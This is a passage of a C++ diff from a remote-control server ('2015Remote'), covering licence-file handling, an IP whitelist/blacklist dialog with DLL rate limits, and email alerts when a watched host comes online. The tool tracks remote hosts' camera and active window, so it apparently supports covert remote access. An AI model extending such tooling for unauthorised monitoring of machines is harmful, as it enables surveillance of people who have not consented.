#pragma comment(lib, "jsoncpp/jsoncpp_x64d.lib")
#else
#pragma comment(lib, "jsoncpp/jsoncpp_x64.lib")
#endif
#endif
// Get current time string
static std::string GetCurrentTimeString() {
time_t now = time(nullptr);
struct tm t;
localtime_s(&t, &now);
char buf[32];
strftime(buf, sizeof(buf), "%Y-%m-%d %H:%M:%S", &t);
return buf;
}
// Build checksum content (includes magic, version, createTime, and license fields)
static std::string BuildChecksumContent(const std::string& magic,
int version,
const std::string& createTime,
const std::string& sn,
const std::string& password,
const std::string& pwdHmac,
const std::string& authorization,
const std::string& frpConfig = "") {
std::string content;
content += magic + "|";
content += std::to_string(version) + "|";
content += createTime + "|";
content += sn + "|";
content += password + "|";
content += pwdHmac + "|";
content += authorization;
if (!frpConfig.empty()) {
content += "|" + frpConfig;
}
return content;
}
bool IsIPv4Format(const std::string& sn) {
// IPv4 format: 4 segments (0-255) separated by dots, no dashes
if (sn.find('-') != std::string::npos) return false;
if (sn.empty()) return false;
int segmentCount = 0;
int currentValue = 0;
int digitCount = 0;
for (size_t i = 0; i <= sn.size(); ++i) {
if (i == sn.size() || sn[i] == '.') {
if (digitCount == 0) return false; // Empty segment
if (currentValue > 255) return false; // Value out of range
segmentCount++;
currentValue = 0;
digitCount = 0;
} else if (isdigit(sn[i])) {
digitCount++;
if (digitCount > 3) return false; // Too many digits (prevents overflow)
currentValue = currentValue * 10 + (sn[i] - '0');
} else {
return false; // Invalid character
}
}
return segmentCount == 4; // Must have exactly 4 segments
}
SNMatchResult ValidateLicenseSN(const std::string& licenseSN) {
if (IsIPv4Format(licenseSN)) {
// IP binding: check if matches current machine's public IP
// For now, we check against configured master IP
// In real implementation, should get actual public IP
std::string currentIP = CMy2015RemoteDlg::GetHardwareID(1); // Use IP mode
if (licenseSN == currentIP) {
return SNMatchResult::Match;
}
return SNMatchResult::IPMismatch;
} else {
// Hardware binding: check if matches current device ID
// Use GetHardwareID() to respect HWIDVersion (V1 or V2)
std::string hardwareID = CMy2015RemoteDlg::GetHardwareID(0);
std::string hashedID = hashSHA256(hardwareID);
std::string currentDeviceID = getFixedLengthID(hashedID);
if (licenseSN == currentDeviceID) {
return SNMatchResult::Match;
}
return SNMatchResult::HardwareMismatch;
}
}
bool ExportLicenseFile(const std::string& filePath,
const std::string& sn,
const std::string& password,
const std::string& pwdHmac,
const std::string& authorization,
const std::string& frpConfig) {
// 1. Generate create time
std::string createTime = GetCurrentTimeString();
// 2. Calculate checksum
std::string checksumContent = BuildChecksumContent(
LICENSE_MAGIC, LICENSE_FILE_VERSION, createTime,
sn, password, pwdHmac, authorization, frpConfig);
std::string checksum = "sha256:" + hashSHA256(checksumContent);
// 3. Build JSON using jsoncpp
Json::Value root;
root["magic"] = LICENSE_MAGIC;
root["version"] = LICENSE_FILE_VERSION;
root["createTime"] = createTime;
Json::Value license;
license["sn"] = sn;
license["password"] = password;
license["pwdHmac"] = pwdHmac;
license["authorization"] = authorization;
if (!frpConfig.empty()) {
license["frpConfig"] = frpConfig;
}
root["license"] = license;
root["checksum"] = checksum;
// 4. Write to temp file first (atomic write)
std::string tempPath = filePath + ".tmp";
{
std::ofstream file(tempPath);
if (!file.is_open()) return false;
Json::StreamWriterBuilder builder;
builder["indentation"] = " ";
std::unique_ptr<Json::StreamWriter> writer(builder.newStreamWriter());
writer->write(root, &file);
if (!file.good()) {
remove(tempPath.c_str());
return false;
}
}
// 5. Remove existing file and rename temp to target
remove(filePath.c_str());
if (rename(tempPath.c_str(), filePath.c_str()) != 0) {
remove(tempPath.c_str());
return false;
}
return true;
}
LicenseImportResult ImportLicenseFile(const std::string& filePath,
LicenseFileData& outData,
std::string& outError) {
// 1. Check file exists and read content
std::ifstream file(filePath);
if (!file.is_open()) {
outError = GetImportErrorMessage(LicenseImportResult::FileNotFound);
return LicenseImportResult::FileNotFound;
}
// 2. Parse JSON using jsoncpp
Json::Value root;
Json::Reader reader;
if (!reader.parse(file, root)) {
file.close();
outError = GetImportErrorMessage(LicenseImportResult::InvalidFormat);
return LicenseImportResult::InvalidFormat;
}
file.close();
// 3. Extract and validate magic
std::string magic = root.get("magic", "").asString();
if (magic != LICENSE_MAGIC) {
outError = GetImportErrorMessage(LicenseImportResult::InvalidMagic);
return LicenseImportResult::InvalidMagic;
}
// 4. Extract and validate version
int version = root.get("version", 0).asInt();
if (version <= 0) {
outError = GetImportErrorMessage(LicenseImportResult::InvalidFormat);
return LicenseImportResult::InvalidFormat;
}
if (version > LICENSE_FILE_VERSION) {
outError = GetImportErrorMessage(LicenseImportResult::VersionTooHigh);
return LicenseImportResult::VersionTooHigh;
}
// 5. Extract createTime
std::string createTime = root.get("createTime", "").asString();
// 6. Extract license object
if (!root.isMember("license") || !root["license"].isObject()) {
outError = GetImportErrorMessage(LicenseImportResult::InvalidFormat);
return LicenseImportResult::InvalidFormat;
}
const Json::Value& license = root["license"];
std::string sn = license.get("sn", "").asString();
std::string password = license.get("password", "").asString();
std::string pwdHmac = license.get("pwdHmac", "").asString();
std::string authorization = license.get("authorization", "").asString();
std::string frpConfig = license.get("frpConfig", "").asString();
// 7. Check required fields
if (sn.empty() || password.empty() || pwdHmac.empty()) {
outError = GetImportErrorMessage(LicenseImportResult::IncompleteData);
return LicenseImportResult::IncompleteData;
}
// 8. Verify checksum
std::string storedChecksum = root.get("checksum", "").asString();
std::string expectedContent = BuildChecksumContent(
magic, version, createTime, sn, password, pwdHmac, authorization, frpConfig);
std::string expectedChecksum = "sha256:" + hashSHA256(expectedContent);
if (storedChecksum != expectedChecksum) {
outError = GetImportErrorMessage(LicenseImportResult::ChecksumMismatch);
return LicenseImportResult::ChecksumMismatch;
}
// 9. Validate SN
SNMatchResult snResult = ValidateLicenseSN(sn);
if (snResult == SNMatchResult::HardwareMismatch) {
outError = GetImportErrorMessage(LicenseImportResult::SNMismatchHardware);
return LicenseImportResult::SNMismatchHardware;
} else if (snResult == SNMatchResult::IPMismatch) {
outError = GetImportErrorMessage(LicenseImportResult::SNMismatchIP);
return LicenseImportResult::SNMismatchIP;
}
// 10. Fill output data
outData.sn = sn;
outData.password = password;
outData.pwdHmac = pwdHmac;
outData.authorization = authorization;
outData.frpConfig = frpConfig;
outData.createTime = createTime;
outData.version = version;
return LicenseImportResult::Success;
}
bool ApplyLicenseData(const LicenseFileData& data) {
// Save to settings
THIS_CFG.SetStr("settings", "SN", data.sn);
THIS_CFG.SetStr("settings", "Password", data.password);
THIS_CFG.SetStr("settings", "PwdHmac", data.pwdHmac);
// Always set Authorization (clear old value if empty)
THIS_CFG.SetStr("settings", "Authorization", data.authorization);
// Save FRP config (clear old value if empty)
THIS_CFG.SetStr("settings", "FrpConfig", data.frpConfig);
return true;
}
std::string GetImportErrorMessage(LicenseImportResult result) {
switch (result) {
case LicenseImportResult::Success:
return "";
case LicenseImportResult::FileNotFound:
return std::string(CT2A(_L("文件不存在")));
case LicenseImportResult::InvalidFormat:
return std::string(CT2A(_L("文件格式错误")));
case LicenseImportResult::InvalidMagic:
return std::string(CT2A(_L("不是有效的YAMA授权文件")));
case LicenseImportResult::VersionTooHigh:
return std::string(CT2A(_L("授权文件版本过高,请升级程序")));
case LicenseImportResult::ChecksumMismatch:
return std::string(CT2A(_L("授权文件已损坏或被篡改")));
case LicenseImportResult::SNMismatchHardware:
return std::string(CT2A(_L("此授权不适用于当前设备")));
case LicenseImportResult::SNMismatchIP:
return std::string(CT2A(_L("此授权不适用于当前公网IP")));
case LicenseImportResult::IncompleteData:
return std::string(CT2A(_L("授权信息不完整")));
default:
return std::string(CT2A(_L("未知错误")));
}
}

View File

@@ -0,0 +1,84 @@
#pragma once
#include <string>
#include "UIBranding.h"
// License file format version
const int LICENSE_FILE_VERSION = 1;
// Magic constant (警告BRAND_LICENSE_MAGIC 为系统保留,请勿修改!)
const char* const LICENSE_MAGIC = BRAND_LICENSE_MAGIC;
// License file data structure
struct LicenseFileData {
std::string sn;
std::string password;
std::string pwdHmac;
std::string authorization;
std::string frpConfig; // FRP 代理配置(可选)
std::string createTime;
int version;
// Helper: check if V2 auth
bool IsV2Auth() const {
return pwdHmac.size() >= 3 && pwdHmac.substr(0, 3) == "v2:";
}
};
// SN match result
enum class SNMatchResult {
Match,
HardwareMismatch,
IPMismatch
};
// Import result enum
enum class LicenseImportResult {
Success = 0,
FileNotFound,
InvalidFormat,
InvalidMagic,
VersionTooHigh,
ChecksumMismatch,
SNMismatchHardware,
SNMismatchIP,
IncompleteData
};
// Export license to file
// filePath: output file path
// sn: serial number / device ID
// password: password string
// pwdHmac: HMAC signature
// authorization: optional multi-layer auth
// frpConfig: optional FRP proxy config
// Returns: true on success
bool ExportLicenseFile(const std::string& filePath,
const std::string& sn,
const std::string& password,
const std::string& pwdHmac,
const std::string& authorization = "",
const std::string& frpConfig = "");
// Import license from file
// filePath: input file path
// outData: output license data
// outError: output error message
// Returns: LicenseImportResult
LicenseImportResult ImportLicenseFile(const std::string& filePath,
LicenseFileData& outData,
std::string& outError);
// Apply license data to current program
// data: license data to apply
// Returns: true on success
bool ApplyLicenseData(const LicenseFileData& data);
// Get import error message
std::string GetImportErrorMessage(LicenseImportResult result);
// Validate SN (hardware ID or IP)
SNMatchResult ValidateLicenseSN(const std::string& licenseSN);
// Check if SN is IPv4 format
bool IsIPv4Format(const std::string& sn);

265
server/2015Remote/Loader.c Normal file

File diff suppressed because one or more lines are too long

View File

@@ -0,0 +1,319 @@
// NetworkDlg.cpp - 网络配置对话框实现
#include "stdafx.h"
#include "NetworkDlg.h"
#include "afxdialogex.h"
#include "2015Remote.h"
// 外部函数:刷新缓存的限流配置
extern void ReloadBanConfig();
extern void ReloadDllRateLimitConfig();
CNetworkDlg::CNetworkDlg(CWnd* pParent /*=nullptr*/)
: CDialogLangEx(IDD_DIALOG_NETWORK, pParent)
, m_nDllLimitSeconds(3600)
, m_nDllLimitCount(4)
, m_nBanWindow(60)
, m_nBanMaxConn(15)
, m_nBanDuration(3600)
{
}
CNetworkDlg::~CNetworkDlg()
{
}
void CNetworkDlg::DoDataExchange(CDataExchange* pDX)
{
__super::DoDataExchange(pDX);
DDX_Control(pDX, IDC_LIST_WHITELIST, m_ListWhitelist);
DDX_Control(pDX, IDC_LIST_BLACKLIST, m_ListBlacklist);
DDX_Control(pDX, IDC_EDIT_NETWORK_IP, m_EditIP);
DDX_Text(pDX, IDC_EDIT_DLL_LIMIT_SECONDS, m_nDllLimitSeconds);
DDX_Text(pDX, IDC_EDIT_DLL_LIMIT_COUNT, m_nDllLimitCount);
DDX_Text(pDX, IDC_EDIT_BAN_WINDOW, m_nBanWindow);
DDX_Text(pDX, IDC_EDIT_BAN_MAX_CONN, m_nBanMaxConn);
DDX_Text(pDX, IDC_EDIT_BAN_DURATION, m_nBanDuration);
}
BEGIN_MESSAGE_MAP(CNetworkDlg, CDialogLangEx)
ON_BN_CLICKED(IDC_BTN_ADD_WHITELIST, &CNetworkDlg::OnBnClickedAddWhitelist)
ON_BN_CLICKED(IDC_BTN_DEL_WHITELIST, &CNetworkDlg::OnBnClickedDelWhitelist)
ON_BN_CLICKED(IDC_BTN_ADD_BLACKLIST, &CNetworkDlg::OnBnClickedAddBlacklist)
ON_BN_CLICKED(IDC_BTN_DEL_BLACKLIST, &CNetworkDlg::OnBnClickedDelBlacklist)
ON_BN_CLICKED(IDOK, &CNetworkDlg::OnBnClickedOk)
END_MESSAGE_MAP()
BOOL CNetworkDlg::OnInitDialog()
{
__super::OnInitDialog();
// 多语言翻译
SetWindowText(_TR("网络配置"));
SetDlgItemText(IDC_STATIC_WHITELIST, _TR("白名单 (不限流):"));
SetDlgItemText(IDC_STATIC_BLACKLIST, _TR("黑名单 (拒绝连接):"));
SetDlgItemText(IDC_STATIC_IP_INPUT, _TR("IP 地址:"));
SetDlgItemText(IDC_BTN_ADD_WHITELIST, _TR("添加 >>"));
SetDlgItemText(IDC_BTN_DEL_WHITELIST, _TR("删除"));
SetDlgItemText(IDC_BTN_ADD_BLACKLIST, _TR("添加 >>"));
SetDlgItemText(IDC_BTN_DEL_BLACKLIST, _TR("删除"));
SetDlgItemText(IDC_STATIC_NETWORK_HINT, _TR("说明:"));
SetDlgItemText(IDC_STATIC_NETWORK_HINT1, _TR("- 白名单IP: 不受限流"));
SetDlgItemText(IDC_STATIC_NETWORK_HINT2, _TR("- 黑名单IP: 拒绝请求"));
SetDlgItemText(IDC_STATIC_NETWORK_HINT3, _TR("- 127.0.0.1 自动白名单"));
SetDlgItemText(IDC_STATIC_NETWORK_HINT4, _TR("- 配置即时生效并保存"));
SetDlgItemText(IDOK, _TR("确定"));
SetDlgItemText(IDCANCEL, _TR("取消"));
SetDlgItemText(IDC_STATIC_DLL_LIMIT, _TR("DLL限流设置:"));
SetDlgItemText(IDC_STATIC_DLL_WINDOW, _TR("时间窗口(秒):"));
SetDlgItemText(IDC_STATIC_DLL_COUNT, _TR("最大请求数:"));
SetDlgItemText(IDC_STATIC_BAN_SETTINGS, _TR("IP封禁设置:"));
SetDlgItemText(IDC_STATIC_BAN_WINDOW, _TR("统计窗口(秒):"));
SetDlgItemText(IDC_STATIC_BAN_MAXCONN, _TR("最大连接数:"));
SetDlgItemText(IDC_STATIC_BAN_DURATION, _TR("封禁时长(秒):"));
// 加载现有列表和阈值
LoadLists();
LoadThresholds();
return TRUE;
}
void CNetworkDlg::LoadLists()
{
// 加载白名单
m_ListWhitelist.ResetContent();
auto whiteIPs = IPWhitelist::getInstance().GetAll();
for (const auto& ip : whiteIPs) {
m_ListWhitelist.AddString(CString(ip.c_str()));
}
// 加载黑名单
m_ListBlacklist.ResetContent();
auto blackIPs = IPBlacklist::getInstance().GetAll();
for (const auto& ip : blackIPs) {
m_ListBlacklist.AddString(CString(ip.c_str()));
}
}
void CNetworkDlg::SaveLists()
{
// 保存白名单
std::string whitelistStr = IPWhitelist::getInstance().Export();
THIS_CFG.SetStr("settings", "IPWhitelist", whitelistStr.c_str());
// 保存黑名单
std::string blacklistStr = IPBlacklist::getInstance().Export();
THIS_CFG.SetStr("settings", "IPBlacklist", blacklistStr.c_str());
}
void CNetworkDlg::LoadThresholds()
{
// 加载 DLL 限流设置
m_nDllLimitSeconds = THIS_CFG.GetInt("settings", "DllLimitSeconds", 3600);
m_nDllLimitCount = THIS_CFG.GetInt("settings", "DllLimitCount", 4);
// 加载 IP 封禁设置
m_nBanWindow = THIS_CFG.GetInt("settings", "BanWindow", 60);
m_nBanMaxConn = THIS_CFG.GetInt("settings", "BanMaxConn", 15);
m_nBanDuration = THIS_CFG.GetInt("settings", "BanDuration", 3600);
// 更新界面
UpdateData(FALSE);
}
void CNetworkDlg::SaveThresholds()
{
// 保存 DLL 限流设置
THIS_CFG.SetInt("settings", "DllLimitSeconds", m_nDllLimitSeconds);
THIS_CFG.SetInt("settings", "DllLimitCount", m_nDllLimitCount);
// 保存 IP 封禁设置
THIS_CFG.SetInt("settings", "BanWindow", m_nBanWindow);
THIS_CFG.SetInt("settings", "BanMaxConn", m_nBanMaxConn);
THIS_CFG.SetInt("settings", "BanDuration", m_nBanDuration);
}
bool CNetworkDlg::IsValidIP(const CString& ip)
{
if (ip.IsEmpty()) return false;
// 简单的 IP 格式检查: xxx.xxx.xxx.xxx
int partCount = 0;
int partValue = 0;
bool hasDigit = false;
for (int i = 0; i <= ip.GetLength(); i++) {
TCHAR c = (i < ip.GetLength()) ? ip.GetAt(i) : '\0';
if (c >= '0' && c <= '9') {
partValue = partValue * 10 + (c - '0');
hasDigit = true;
if (partValue > 255) return false;
}
else if (c == '.' || c == '\0') {
if (!hasDigit) return false; // 空段
partCount++;
partValue = 0;
hasDigit = false;
if (c == '\0') break;
}
else {
return false; // 非法字符
}
}
return (partCount == 4);
}
CString CNetworkDlg::GetInputIP()
{
CString ip;
m_EditIP.GetWindowText(ip);
ip.Trim();
return ip;
}
void CNetworkDlg::OnBnClickedAddWhitelist()
{
CString ip = GetInputIP();
if (!IsValidIP(ip)) {
MessageBox(_TR("请输入有效的 IP 地址"), _TR("错误"), MB_OK | MB_ICONERROR);
return;
}
CStringA ipA(ip);
std::string ipStr(ipA.GetString());
// 检查是否已在白名单中
if (IPWhitelist::getInstance().IsWhitelisted(ipStr)) {
MessageBox(_TR("该 IP 已在白名单中"), _TR("提示"), MB_OK | MB_ICONINFORMATION);
return;
}
// 如果在黑名单中,先移除
if (IPBlacklist::getInstance().IsBlacklisted(ipStr)) {
IPBlacklist::getInstance().RemoveIP(ipStr);
// 从黑名单列表中移除
for (int i = 0; i < m_ListBlacklist.GetCount(); i++) {
CString item;
m_ListBlacklist.GetText(i, item);
if (item == ip) {
m_ListBlacklist.DeleteString(i);
break;
}
}
}
// 添加到白名单
IPWhitelist::getInstance().AddIP(ipStr);
m_ListWhitelist.AddString(ip);
m_EditIP.SetWindowText(_T(""));
}
void CNetworkDlg::OnBnClickedDelWhitelist()
{
int sel = m_ListWhitelist.GetCurSel();
if (sel == LB_ERR) {
MessageBox(_TR("请先选择要删除的 IP"), _TR("提示"), MB_OK | MB_ICONINFORMATION);
return;
}
CString ip;
m_ListWhitelist.GetText(sel, ip);
CStringA ipA(ip);
std::string ipStr(ipA.GetString());
IPWhitelist::getInstance().RemoveIP(ipStr);
m_ListWhitelist.DeleteString(sel);
}
void CNetworkDlg::OnBnClickedAddBlacklist()
{
CString ip = GetInputIP();
if (!IsValidIP(ip)) {
MessageBox(_TR("请输入有效的 IP 地址"), _TR("错误"), MB_OK | MB_ICONERROR);
return;
}
CStringA ipA(ip);
std::string ipStr(ipA.GetString());
// 检查是否是本地地址
if (ipStr == "127.0.0.1" || ipStr == "::1") {
MessageBox(_TR("本地地址不能加入黑名单"), _TR("错误"), MB_OK | MB_ICONERROR);
return;
}
// 检查是否已在黑名单中
if (IPBlacklist::getInstance().IsBlacklisted(ipStr)) {
MessageBox(_TR("该 IP 已在黑名单中"), _TR("提示"), MB_OK | MB_ICONINFORMATION);
return;
}
// 如果在白名单中,先移除
if (IPWhitelist::getInstance().IsWhitelisted(ipStr)) {
IPWhitelist::getInstance().RemoveIP(ipStr);
// 从白名单列表中移除
for (int i = 0; i < m_ListWhitelist.GetCount(); i++) {
CString item;
m_ListWhitelist.GetText(i, item);
if (item == ip) {
m_ListWhitelist.DeleteString(i);
break;
}
}
}
// 添加到黑名单
IPBlacklist::getInstance().AddIP(ipStr);
m_ListBlacklist.AddString(ip);
m_EditIP.SetWindowText(_T(""));
}
void CNetworkDlg::OnBnClickedDelBlacklist()
{
int sel = m_ListBlacklist.GetCurSel();
if (sel == LB_ERR) {
MessageBox(_TR("请先选择要删除的 IP"), _TR("提示"), MB_OK | MB_ICONINFORMATION);
return;
}
CString ip;
m_ListBlacklist.GetText(sel, ip);
CStringA ipA(ip);
std::string ipStr(ipA.GetString());
IPBlacklist::getInstance().RemoveIP(ipStr);
m_ListBlacklist.DeleteString(sel);
}
void CNetworkDlg::OnBnClickedOk()
{
// 获取阈值输入
UpdateData(TRUE);
// 验证阈值范围
if (m_nDllLimitSeconds < 60) m_nDllLimitSeconds = 60;
if (m_nDllLimitSeconds > 86400) m_nDllLimitSeconds = 86400;
if (m_nDllLimitCount < 1) m_nDllLimitCount = 1;
if (m_nDllLimitCount > 100) m_nDllLimitCount = 100;
if (m_nBanWindow < 10) m_nBanWindow = 10;
if (m_nBanWindow > 3600) m_nBanWindow = 3600;
if (m_nBanMaxConn < 1) m_nBanMaxConn = 1;
if (m_nBanMaxConn > 1000) m_nBanMaxConn = 1000;
if (m_nBanDuration < 60) m_nBanDuration = 60;
if (m_nBanDuration > 86400) m_nBanDuration = 86400;
// 保存配置
SaveLists();
SaveThresholds();
// 刷新缓存
ReloadBanConfig();
ReloadDllRateLimitConfig();
__super::OnOK();
}

View File

@@ -0,0 +1,51 @@
// NetworkDlg.h - 网络配置对话框
// 用于配置 IP 白名单和黑名单
#pragma once
#include "resource.h"
#include "LangManager.h"
#include "../../common/IPWhitelist.h"
#include "../../common/IPBlacklist.h"
class CNetworkDlg : public CDialogLangEx
{
public:
CNetworkDlg(CWnd* pParent = nullptr);
virtual ~CNetworkDlg();
enum { IDD = IDD_DIALOG_NETWORK };
protected:
virtual void DoDataExchange(CDataExchange* pDX);
virtual BOOL OnInitDialog();
DECLARE_MESSAGE_MAP()
// 控件
CListBox m_ListWhitelist;
CListBox m_ListBlacklist;
CEdit m_EditIP;
// 阈值设置
UINT m_nDllLimitSeconds;
UINT m_nDllLimitCount;
UINT m_nBanWindow;
UINT m_nBanMaxConn;
UINT m_nBanDuration;
// 消息处理
afx_msg void OnBnClickedAddWhitelist();
afx_msg void OnBnClickedDelWhitelist();
afx_msg void OnBnClickedAddBlacklist();
afx_msg void OnBnClickedDelBlacklist();
afx_msg void OnBnClickedOk();
private:
void LoadLists();
void SaveLists();
void LoadThresholds();
void SaveThresholds();
bool IsValidIP(const CString& ip);
CString GetInputIP();
};

View File

@@ -0,0 +1,123 @@
#pragma once
#include <string>
#include <vector>
#include <unordered_map>
#include <ctime>
// Notification cooldown period (minutes)
// Same host will only trigger one notification within this period
#define NOTIFY_COOLDOWN_MINUTES 60
// Notification trigger types
enum NotifyTriggerType {
NOTIFY_TRIGGER_NONE = 0,
NOTIFY_TRIGGER_HOST_ONLINE = 1, // Host comes online
// Future extensions:
// NOTIFY_TRIGGER_HOST_OFFLINE = 2,
// NOTIFY_TRIGGER_FILE_TRANSFER = 3,
};
// Single notification rule
struct NotifyRule {
bool enabled; // Whether this rule is enabled
NotifyTriggerType triggerType; // Trigger type
int columnIndex; // Column index (0-based)
std::string matchPattern; // Match pattern (semicolon-separated keywords)
NotifyRule()
: enabled(false)
, triggerType(NOTIFY_TRIGGER_NONE)
, columnIndex(0)
{}
};
// SMTP configuration
struct SmtpConfig {
std::string server; // smtp.gmail.com
int port; // 587
bool useSSL; // true for TLS
std::string username; // sender email
std::string password; // app-specific password (encrypted in storage)
std::string recipient; // recipient email
SmtpConfig()
: port(587)
, useSSL(true)
{}
bool IsValid() const {
return !server.empty() && port > 0 && !username.empty() && !password.empty();
}
// Get effective recipient (fallback to username if empty)
std::string GetRecipient() const {
return recipient.empty() ? username : recipient;
}
};
// Complete notification configuration
struct NotifyConfig {
SmtpConfig smtp;
std::vector<NotifyRule> rules; // Rule list (supports multiple rules in future)
// Frequency control: record last notification time for each host
// key = clientID, value = last notification timestamp
std::unordered_map<uint64_t, time_t> lastNotifyTime;
NotifyConfig() {
// Initialize with one default rule
rules.push_back(NotifyRule());
}
// Get the first (and currently only) rule
NotifyRule& GetRule() {
if (rules.empty()) {
rules.push_back(NotifyRule());
}
return rules[0];
}
const NotifyRule& GetRule() const {
static NotifyRule emptyRule;
return rules.empty() ? emptyRule : rules[0];
}
// Check if any rule is enabled
bool HasEnabledRule() const {
for (const auto& rule : rules) {
if (rule.enabled) return true;
}
return false;
}
};
// Column name mapping for UI
inline const char* GetColumnName(int index) {
static const char* names[] = {
"IP", // 0
"Address", // 1
"Location", // 2
"ComputerName", // 3
"OS", // 4
"CPU", // 5
"Camera", // 6
"RTT", // 7
"Version", // 8
"InstallTime", // 9
"ActiveWindow", // 10
"ClientType", // 11
};
if (index >= 0 && index < sizeof(names)/sizeof(names[0])) {
return names[index];
}
return "Unknown";
}
// Trigger type name mapping for UI
inline const char* GetTriggerTypeName(NotifyTriggerType type) {
switch (type) {
case NOTIFY_TRIGGER_HOST_ONLINE: return "Host Online";
default: return "None";
}
}

View File

@@ -0,0 +1,465 @@
#include "stdafx.h"
#include "NotifyManager.h"
#include "context.h"
#include "common/iniFile.h"
#include "UIBranding.h"
#include <thread>
#include <fstream>
#include <sstream>
#include <shlobj.h>
#include <ctime>
// Get config directory path (same as GetDbPath directory)
static std::string GetConfigDir()
{
static char path[MAX_PATH];
static std::string ret;
if (ret.empty()) {
if (FAILED(SHGetFolderPathA(NULL, CSIDL_APPDATA, NULL, 0, path))) {
ret = ".\\";
} else {
ret = std::string(path) + "\\" BRAND_DATA_FOLDER "\\";
}
CreateDirectoryA(ret.c_str(), NULL);
}
return ret;
}
NotifyManager& NotifyManager::Instance()
{
static NotifyManager instance;
return instance;
}
NotifyManager::NotifyManager()
: m_initialized(false)
, m_powerShellAvailable(false)
{
}
void NotifyManager::Initialize()
{
if (m_initialized) return;
m_powerShellAvailable = DetectPowerShellSupport();
LoadConfig();
m_initialized = true;
}
bool NotifyManager::DetectPowerShellSupport()
{
// Check if PowerShell Send-MailMessage command is available
std::string cmd = "powershell -NoProfile -Command \"Get-Command Send-MailMessage -ErrorAction SilentlyContinue\"";
DWORD exitCode = 1;
ExecutePowerShell(cmd, &exitCode, true);
return (exitCode == 0);
}
std::string NotifyManager::GetConfigPath() const
{
return GetConfigDir() + "notify.ini";
}
NotifyConfig NotifyManager::GetConfig()
{
std::lock_guard<std::mutex> lock(m_mutex);
return m_config;
}
void NotifyManager::SetConfig(const NotifyConfig& config)
{
std::lock_guard<std::mutex> lock(m_mutex);
// Preserve lastNotifyTime from current config
auto lastNotifyTime = m_config.lastNotifyTime;
m_config = config;
m_config.lastNotifyTime = lastNotifyTime;
}
void NotifyManager::LoadConfig()
{
std::lock_guard<std::mutex> lock(m_mutex);
config cfg(GetConfigPath());
// SMTP settings
m_config.smtp.server = cfg.GetStr("SMTP", "Server", "smtp.gmail.com");
m_config.smtp.port = cfg.GetInt("SMTP", "Port", 587);
m_config.smtp.useSSL = cfg.GetInt("SMTP", "UseSSL", 1) != 0;
m_config.smtp.username = cfg.GetStr("SMTP", "Username", "");
m_config.smtp.password = DecryptPassword(cfg.GetStr("SMTP", "Password", ""));
m_config.smtp.recipient = cfg.GetStr("SMTP", "Recipient", "");
// Rule settings (currently only one rule)
NotifyRule& rule = m_config.GetRule();
rule.enabled = cfg.GetInt("Rule_0", "Enabled", 0) != 0;
rule.triggerType = (NotifyTriggerType)cfg.GetInt("Rule_0", "TriggerType", NOTIFY_TRIGGER_HOST_ONLINE);
rule.columnIndex = cfg.GetInt("Rule_0", "ColumnIndex", ONLINELIST_COMPUTER_NAME);
rule.matchPattern = cfg.GetStr("Rule_0", "MatchPattern", "");
}
void NotifyManager::SaveConfig()
{
std::lock_guard<std::mutex> lock(m_mutex);
config cfg(GetConfigPath());
// SMTP settings
cfg.SetStr("SMTP", "Server", m_config.smtp.server);
cfg.SetInt("SMTP", "Port", m_config.smtp.port);
cfg.SetInt("SMTP", "UseSSL", m_config.smtp.useSSL ? 1 : 0);
cfg.SetStr("SMTP", "Username", m_config.smtp.username);
cfg.SetStr("SMTP", "Password", EncryptPassword(m_config.smtp.password));
cfg.SetStr("SMTP", "Recipient", m_config.smtp.recipient);
// Rule settings
const NotifyRule& rule = m_config.GetRule();
cfg.SetInt("Rule_0", "Enabled", rule.enabled ? 1 : 0);
cfg.SetInt("Rule_0", "TriggerType", (int)rule.triggerType);
cfg.SetInt("Rule_0", "ColumnIndex", rule.columnIndex);
cfg.SetStr("Rule_0", "MatchPattern", rule.matchPattern);
}
bool NotifyManager::ShouldNotify(context* ctx, std::string& outMatchedKeyword, const CString& remark)
{
if (!m_powerShellAvailable) return false;
std::lock_guard<std::mutex> lock(m_mutex);
const NotifyRule& rule = m_config.GetRule();
if (!rule.enabled) return false;
if (rule.triggerType != NOTIFY_TRIGGER_HOST_ONLINE) return false;
if (rule.matchPattern.empty()) return false;
if (!m_config.smtp.IsValid()) return false;
uint64_t clientId = ctx->GetClientID();
time_t now = time(nullptr);
// Cooldown check
auto it = m_config.lastNotifyTime.find(clientId);
if (it != m_config.lastNotifyTime.end()) {
time_t elapsed = now - it->second;
if (elapsed < NOTIFY_COOLDOWN_MINUTES * 60) {
return false; // Still in cooldown period
}
}
// Get column text (for COMPUTER_NAME column, prefer remark if available)
CString colText;
if (rule.columnIndex == ONLINELIST_COMPUTER_NAME && !remark.IsEmpty()) {
colText = remark;
} else {
colText = ctx->GetClientData(rule.columnIndex);
}
if (colText.IsEmpty()) return false;
// Convert to std::string for matching
std::string colTextStr = CT2A(colText, CP_UTF8);
// Split pattern by semicolon and check each keyword
std::vector<std::string> keywords = SplitString(rule.matchPattern, ';');
for (const auto& kw : keywords) {
std::string trimmed = Trim(kw);
if (trimmed.empty()) continue;
// Case-insensitive substring search
std::string colLower = colTextStr;
std::string kwLower = trimmed;
std::transform(colLower.begin(), colLower.end(), colLower.begin(), ::tolower);
std::transform(kwLower.begin(), kwLower.end(), kwLower.begin(), ::tolower);
if (colLower.find(kwLower) != std::string::npos) {
outMatchedKeyword = trimmed;
m_config.lastNotifyTime[clientId] = now;
return true;
}
}
return false;
}
void NotifyManager::BuildHostOnlineEmail(context* ctx, const std::string& matchedKeyword,
std::string& outSubject, std::string& outBody)
{
// Copy rule info under lock
int columnIndex;
{
std::lock_guard<std::mutex> lock(m_mutex);
columnIndex = m_config.GetRule().columnIndex;
}
// Get host info
std::string computerName = CT2A(ctx->GetClientData(ONLINELIST_COMPUTER_NAME), CP_UTF8);
std::string ip = CT2A(ctx->GetClientData(ONLINELIST_IP), CP_UTF8);
std::string location = CT2A(ctx->GetClientData(ONLINELIST_LOCATION), CP_UTF8);
std::string os = CT2A(ctx->GetClientData(ONLINELIST_OS), CP_UTF8);
std::string version = CT2A(ctx->GetClientData(ONLINELIST_VERSION), CP_UTF8);
// Get current time
time_t now = time(nullptr);
char timeStr[64];
struct tm tm_info;
localtime_s(&tm_info, &now);
strftime(timeStr, sizeof(timeStr), "%Y-%m-%d %H:%M:%S", &tm_info);
// Build subject
std::ostringstream ss;
ss << "[SimpleRemoter] Host Online: " << computerName << " matched \"" << matchedKeyword << "\"";
outSubject = ss.str();
// Build body (HTML format)
ss.str("");
ss << "<b>Host Online Notification</b><br><br>";
ss << "Trigger Time: " << timeStr << "<br>";
